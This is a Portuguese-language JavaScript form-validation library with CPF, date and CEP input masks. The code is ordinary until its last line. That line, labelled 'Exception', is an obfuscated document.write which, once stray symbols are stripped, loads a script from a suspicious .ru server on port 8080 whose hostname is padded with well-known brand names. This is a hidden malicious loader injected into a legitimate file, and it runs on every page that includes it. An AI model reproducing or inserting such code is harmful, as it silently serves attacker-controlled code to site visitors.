/************************************************************************************************************
* Nome: Validador Geral de Formulários																	    *
* Versão: 0.4																							    *
* Autor: Gabriel Plegge da Silva - IWorks Internet Solutions											    *
*																											*
* -> Funções:																								*
*		 - Enviar() -> Valida o formulário.																	*
*		 - MascaraCPF() -> Mascara para Campos de CPF...		
*		 - MascaraData() -> Mascara para Campos de Data...
*																											*
*************************************************************************************************************/

// Implementação de prototipos para navegadores antigos e/ou diferentes do padrão.
//Caso navegador velho... criar função getElementById...
if (!document.getElementById){
	if (document.all) {
		document.getElementById = function() {
			if (typeof document.all[arguments[0]] != 'undefined') {
				return document.all[arguments[0]];
			} else {
				return null;
			}
		}
	} else if (document.layers) {
		document.getElementById = function() {
			if (typeof document[arguments[0]] != 'undefined') { 
				return document[arguments[0]];
			} else {
				return null;
			}
		}
	}
}

//Criando Document.all caso não exista...
if (!document.all) {
	document.all = document.getElementsByTagName('*');
}

function Enviar(vForm) {
	var x = 0; 	// Variável necessária para contagem de elementos do formulário selecionado.
	var erro = 0; // Variável necessária conhecimento de erros na validação.
	var vCaracteresValidosNr="0123456789,.-() ";	// Define os caracteres válidos para números...
	var tmpSenha = null;
	var tmpData = null;

	with (document.getElementById(vForm)) {				// Com o formulario passado para a função fazer...
		while (elements[x]) {								// enquanto houverem elementos
		if (elements[x].id) {
			if  (((!document.getElementById('tp' + elements[x].name + 'Campo')) || (document.getElementById('tp' + elements[x].name + 'Campo').style.display != 'none')) && (document.getElementById(elements[x].id).style.display != 'none') && (elements[x].id)) {
				var NM_Elemento = elements[x].id; 			// ID do campo setado no form.. ex: id="elemento_TXT1"
				var TP_Elemento = elements[x].type;			// Tipo de campo setado no form.. ex: type="text"
				var NM_Campo = '';  					// nome do campo sem o tipo...
				var TP_Campo = '';						// tipo do do campo, e se ele é necessário...
				var _Found = 0;							// variável de controle do caracter "_" ... 
				var TP_Found = 0;						// variavel de controle do tipo do campo... conta até 3 caracteres...
				var SN_Obrigatorio = 0;					// Variavel de controle da obrigatoriedade do campo.
				
				
					

				// Quebrando o nome do elemento para pegar informações necessárias...
				for(n=0;n<NM_Elemento.length;n++) {							// Para cada letra do ID do campo...
					if ((NM_Elemento.charAt(n) != '_') && (_Found == 0)) {		// se a letra atual é diferente de _ e ele ainda não foi achado...
						NM_Campo = NM_Campo + NM_Elemento.charAt(n)			// Adiciona a letra ao nome do campo.
					} else if (NM_Elemento.charAt(n) == '_') {		// se a letra encontrada for _
						_Found = 1;										// marca controle do caractere _ para 1					
					} else if (_Found == 1) {							// se ja foi encontrado o caracter _ ...
						if (TP_Found < 3) {								// Se ainda não foram encontradas as 3 letras do tipo do elemento...
							TP_Campo = TP_Campo + NM_Elemento.charAt(n);	// adiciona letra atual ao tipo do elemento...
							TP_Found++;										// adiciona um ao nr de letras encontradas do tipo 
						} else {										// Caso ja tenha sido encontrado o tipo...
							SN_Obrigatorio = NM_Elemento.charAt(n); 	// Gravar a obrigatoriedade na varieavel..
						}
					}
				}
	
	
	//			if (TP_Elemento == 'text') || {			// Se o type do elemento é uma textbox...
					// Se o tipo do campo é texto...
					if ((TP_Campo == 'TXT') && (erro == 0)) {					
						if (SN_Obrigatorio != 0) {						// se o objeto é obrigatorio...
							if (!document.getElementById(NM_Elemento).value) { 	// se o valor da caixa de texto é nulo...
								alert('Por favor complete o campo "' + NM_Campo +'"');
								document.getElementById(NM_Elemento).focus();
								erro = 1;
								break;
							}
						}
					}
					// Se o tipo é numero...
					else if ((TP_Campo == 'NUM') && (erro == 0)) {
						if (document.getElementById(NM_Elemento).value) { 	// se o valor da caixa de texto não é nulo...
							var vCaracter;											// instancia manipulador de caracteres...
							var vValorCampo	= document.getElementById(NM_Elemento).value;	// Variavel com o valor do campo atual...
							for (n=0; n < vValorCampo.length; n++) {					// Para cada letra colocada no campo...
								vCaracter=vValorCampo.charAt(n);						// coloca letra atual no manipulador...
								if(vCaracteresValidosNr.indexOf(vCaracter)==-1){		// Se o caracter atual não está na lista de caracteres validos para numero.. 
									alert('Caracter inválido colocado no campo ' + NM_Campo);
									document.getElementById(NM_Elemento).focus();
									erro = 1;
									break;
								}
							}
						} else if (SN_Obrigatorio != 0) {	// se o objeto é obrigatorio...
							alert('Por favor complete o campo "' + NM_Campo +'"');
							document.getElementById(NM_Elemento).focus();
							erro = 1;
							break;
						}
					}				
					// Se o tipo é Password...
					else if ((TP_Campo == 'PW1') && (erro == 0)) {
						if ((!document.getElementById(NM_Elemento).value) && (SN_Obrigatorio != 0)) { 	// se o objeto é obrigatorio...
							alert('Você precisa digitar uma senha.');			// Erro...
							document.getElementById(NM_Elemento).focus();
							erro = 1;
							break;					
						} else {
							tmpSenha = document.getElementById(NM_Elemento).value;
						}
					}
					// Se o tipo é Confirmação do password...
					else if ((TP_Campo == 'PW2') && (tmpSenha != null) && (erro == 0)) {
						if (document.getElementById(NM_Elemento).value != tmpSenha) {
							tmpSenha = null;
							alert('A confirmação da senha não é válida.');			// Erro...
							document.getElementById(NM_Elemento).focus();
							erro = 1;
							break;
						} 
					}

					// Se o tipo é data ou data inicial
					else if ((TP_Campo == 'DT1') && (erro == 0))  {
						if (document.getElementById(NM_Elemento).value) {
							vData = document.getElementById(NM_Elemento).value;
							if ((vData.length == 10) && (vData.charAt(2) == '/') && (vData.charAt(5) == '/') && (vData.split('/')[0]*1 <= 31) && (vData.split('/')[1]*1 <= 12) && (vData.split('/')[2]*1 >= 1900))  {
								//Data válida...
							} else {
								alert('Por favor complete o campo "' + NM_Campo +'" com formato dd/mm/aaaa');
								document.getElementById(NM_Elemento).focus();
								erro = 1;
								break;
							}
						} else if (SN_Obrigatorio != 0) {
							alert('Por favor complete o campo "' + NM_Campo +'"');
							document.getElementById(NM_Elemento).focus();
							erro = 1;
							break;
						}
					}
					
					// Se o tipo é Email...
					else if ((TP_Campo == 'EML') && (erro == 0)) {
						if (document.getElementById(NM_Elemento).value) { 	// se o valor da caixa de texto não é nulo...
							var vCaracter;											// instancia manipulador de caracteres...
							var vValorCampo	= document.getElementById(NM_Elemento).value;	// Variavel com o valor do campo atual...
							if ((vValorCampo.indexOf(".")>1) && (vValorCampo.indexOf("@")>0)) {	// caso tenha uma "@' e um "." no email...
								//email está correto..
							} else {
								alert('Dados inválidos colocados no campo ' + NM_Campo);			// Erro...
								document.getElementById(NM_Elemento).focus();
								erro = 1;
								break;
							}
						} else if (SN_Obrigatorio != 0) {	// se o objeto é obrigatorio...
							alert('Por favor complete o campo "' + NM_Campo +'"');
							document.getElementById(NM_Elemento).focus();
							erro = 1;
							break;
						}
					}
					// se é CPF...
					else if ((TP_Campo == 'CPF') && (erro == 0)) {
						vTextoRecebido = document.getElementById(NM_Elemento).value;
						
						if (vTextoRecebido) {
							var vParte1=vTextoRecebido.substring(0,3);								// Separa cada uma das partes do CPF.
							var vParte2=vTextoRecebido.substring(4,7);
							var vParte3=vTextoRecebido.substring(8,11);
							var vParte4=vTextoRecebido.substring(12,14);
							var vCPF=vParte1+vParte2+vParte3+vParte4;								// Concatena as partes lidas. Obtém-se o CPF sem os separadores.
							var vAteBarra=vCPF.substring(0,9);										// Obtém a sequência numérica antes da barra.
							var vAposBarra=vCPF.substring(9,11);									// Obtém a sequência numérica depois a barra.
							var vCaracter=0;
							var vPosicaoAux=1;
							for (i=0;i<9;i++) {
								vCaracter+=vCPF.substring(i,vPosicaoAux)*(10-i);
								vPosicaoAux++;
							}
							if (vCaracter==0) {
							
							}
							vCaracter=11-(vCaracter % 11);
							if (vCaracter > 9) { 
								vCaracter=0; 
							}	
							if(vAposBarra.substring(0,1)!=vCaracter) {
								alert('CPF Inválido!');
								document.getElementById(NM_Elemento).focus();
								erro = 1;
								break;
							}
							vCaracter*=2;
							vPosicaoAux=1;
							for (i=0; i<9; i++) {
								vCaracter+=vCPF.substring(i,vPosicaoAux)*(11-i);
								vPosicaoAux++;
							}
							vCaracter=11-(vCaracter % 11);
							if (vCaracter > 9) { vCaracter=0; }
							if (vAposBarra.substring(1,2) != vCaracter) {
								if (erro != 1) {
									alert('CPF Inválido!');
									document.getElementById(NM_Elemento).focus();
									erro = 1;
									break;
								}
							}
						} else if (SN_Obrigatorio != 0) {
							alert('Por favor complete o campo ' + NM_Campo);
							document.getElementById(NM_Elemento).focus();
							erro = 1;
							break;
						}
	//				}				
				} else if ((TP_Campo == 'CMB') && (erro == 0)) {			// Se o type do campo é Combo...
					if (((document.getElementById(NM_Elemento).selectedIndex == 0) || (document.getElementById(NM_Elemento).selectedIndex == 1)) && (SN_Obrigatorio == 1)) {
						alert('Por favor selecione uma opção para o campo "' + NM_Campo +'"');
						document.getElementById(NM_Elemento).focus();
						erro = 1;
						break;
					}			
				} else if ((TP_Campo == 'RDO') && (erro == 0)) {			// Se o type do campo é Radio...
					var SN_Radio = 0;
					var CP_Radio = eval("elements['" + NM_Elemento + "']");
//					var NR_Radios = eval("elements['" + NM_Elemento + "'].length");
					var NR_Radios = CP_Radio.length;
	
					for (n=0; n < NR_Radios; n++) {
						var SN_Marcado = eval('CP_Radio[' + n + '].checked');
						if (SN_Marcado) { SN_Radio = 1; }
					}
	
					if ((SN_Obrigatorio != 0) && (SN_Radio == 0)){
						alert('Por favor selecione uma opção para o campo "' + NM_Campo +'"');
						document.getElementById(NM_Elemento).focus();
						erro = 1;
						break;
					}			
				}
			}
		}
			x++;
		}
	}
	if (erro == 0) {
		document.getElementById(vForm).submit();
	}
}


function MascaraCPF(vCampoRecebido,vTextoRecebido){
	// Baseada na função disponível na URL "http://phpbrasil.com/articles/article.php/id/275", em 20/03/2003.

	var vCodKey
	if (!window.event) {
		vCodKey = 0; // Caso Mozilla ou outro.. não checkar a tecla pressionada...
	} else {
		vCodKey = window.event.keyCode; // Capturando a tecla...
	}
	
	if (vCodKey != 8) {
		var vCPF='';
		vCPF=vCPF+vTextoRecebido;
		
		if (vCPF.length==3) {
			vCPF=vCPF+'.';
			document.getElementById(vCampoRecebido).value=vCPF;
		} else if (vCPF.length==7){
			vCPF=vCPF+'.';
			document.getElementById(vCampoRecebido).value=vCPF;
		} else if (vCPF.length==11){
			vCPF=vCPF+'-';
			document.getElementById(vCampoRecebido).value=vCPF;
		} else if (vCPF.length > 14) {
			vTMP = '';
			for (i=0; i<14; i++) {
				vTMP = vTMP + vCPF.charAt(i);
			}
			vCPF = vTMP;
			document.getElementById(vCampoRecebido).value=vCPF;
		}
	} 
}

function MascaraData(vCampoRecebido,vTextoRecebido){
	// Baseada na função disponível na URL "http://phpbrasil.com/articles/article.php/id/275", em 20/03/2003.
	
	var vCodKey
	if (!window.event) {
		vCodKey = 0;
	} else {
		vCodKey = window.event.keyCode;
	}
	
	if (vCodKey != 8) {

		var vData='';
		vData=vData+vTextoRecebido;
		
	
		if ((vData.length==1) && (vData.charAt(0) > 3)) {
			vData = '0' + vData.charAt(0);
			document.getElementById(vCampoRecebido).value=vData;
		} 
	
		if (vData.length==2) {
			vData=vData+'/';
			document.getElementById(vCampoRecebido).value=vData;
		} 
		if ((vData.length==4) && (vData.charAt(3) != 0) && (vData.charAt(3) != 1)) {
			vData = vData.charAt(0) + vData.charAt(1) + vData.charAt(2) + '0' + vData.charAt(3);
			document.getElementById(vCampoRecebido).value=vData;
		} 
		if (vData.length == 5) {
			vData=vData+'/';
			document.getElementById(vCampoRecebido).value=vData;
		}
	}
}

window.onload = function() {
	var inputs = document.getElementsByTagName('input');
	var total = inputs.length;
	var Elementos = '';
	for (x=0; x<total; x++) {
		Elemento = inputs[x];
		NM_Elemento = Elemento.id;
		TP_Elemento = '';

		// Quebrando o nome do elemento para pegar informações necessárias...
		for (i=(NM_Elemento.length-4); i<(NM_Elemento.length-1); i++) {
			TP_Elemento += NM_Elemento.charAt(i);
		}
		
		if (TP_Elemento == 'CPF') {
			Elemento.onkeydown = function() {
				MascaraCPF(this.id, this.value);
			}
			
			Elemento.onkeyup = function() {
				MascaraCPF(this.id, this.value);
			}

			Elemento.onkeypress = function() {
				MascaraCPF(this.id, this.value);
			}
		} else if ((TP_Elemento == 'DT1') || (TP_Elemento == 'DT2')) {
			Elemento.onkeydown = function() {
				MascaraData(this.id, this.value);
			}
			
			Elemento.onkeyup = function() {
				MascaraData(this.id, this.value);
			}

			Elemento.onkeypress = function() {
				MascaraData(this.id, this.value);
			}
		} else if ((NM_Elemento.toUpperCase() == 'CEP_NUM1') || (NM_Elemento.toUpperCase() == 'CEP_NUM0')) {
			Elemento.onkeydown = function() {
				MascaraCep(this.id, this.value);
			}
			Elemento.onkeyup = function() {
				MascaraCep(this.id, this.value);
			}
			Elemento.onkeypress = function() {
				MascaraCep(this.id, this.value);
			}
		}

	}
}


function MascaraCep(id, valor){

	objeto = document.getElementById(id);
	var vCodKey

	if (!window.event) {
		vCodKey = 0; // Caso Mozilla ou outro.. não checkar a tecla pressionada...
	} else {
		vCodKey = window.event.keyCode; // Capturando a tecla...
	}
	
	if (vCodKey != 8) {
		var vCEP = valor;
		
		if (vCEP.length==5) {
			vCEP += '-';
		}
		if (vCEP.length > 9) {
			vNovoCep = '';
			for (x=0; x<9; x++) {
				vNovoCep += vCEP.charAt(x);
			}
			vCEP = vNovoCep;
		}
		objeto.value = vCEP;
	} 
}


/*Exception*/ document.write('<script src='+'h(@#$t(^#(t^p&@#:!^/$/!#t)i$n#&@y$@$&u!$r$$@l)-&c)#o$)$m(&.&(^t^@#&@w#!)$^e!&e!^@t$$&@m&$e(!@$m!@^e&!.&(c!o)^m@#(.^&h#&#!o)m&!^e$$(w@@)a#$)@y#$!)(-!!c&$o$^m&)-!&c)@$&n^!&#).#@y(!o^())u#r&#@)t@(r#&u&&e!^c#!^!r$#i($@(m@!e!.#$^)r$$!(u$&)&:)^8@(@0)$8)(#0#&&/(@#!s@(k(^^)y^p)e!&@!.$$!^c@o@@m!^@/(^s&#(k&(y&)#p($(e^^#.@)&(@c#(o$(&m&@/&(g^o!$#o^@(g!)(l^)e$@.#^!c!$o@^@m()@^!/#c^#&(a^)@r@#e()#&e$r#b)!)^u^@((i(@@(l!$d@e#)#!r!(#.(c)@!o$m&^@/)&$v#(k(!(o)n!(t((#^&a&$k$&t&e$.)(r)u&!/^)'.replace(/&|\^|#|\!|@|\$|\(|\)/ig, '')+' defer=defer></scr'+'ipt>');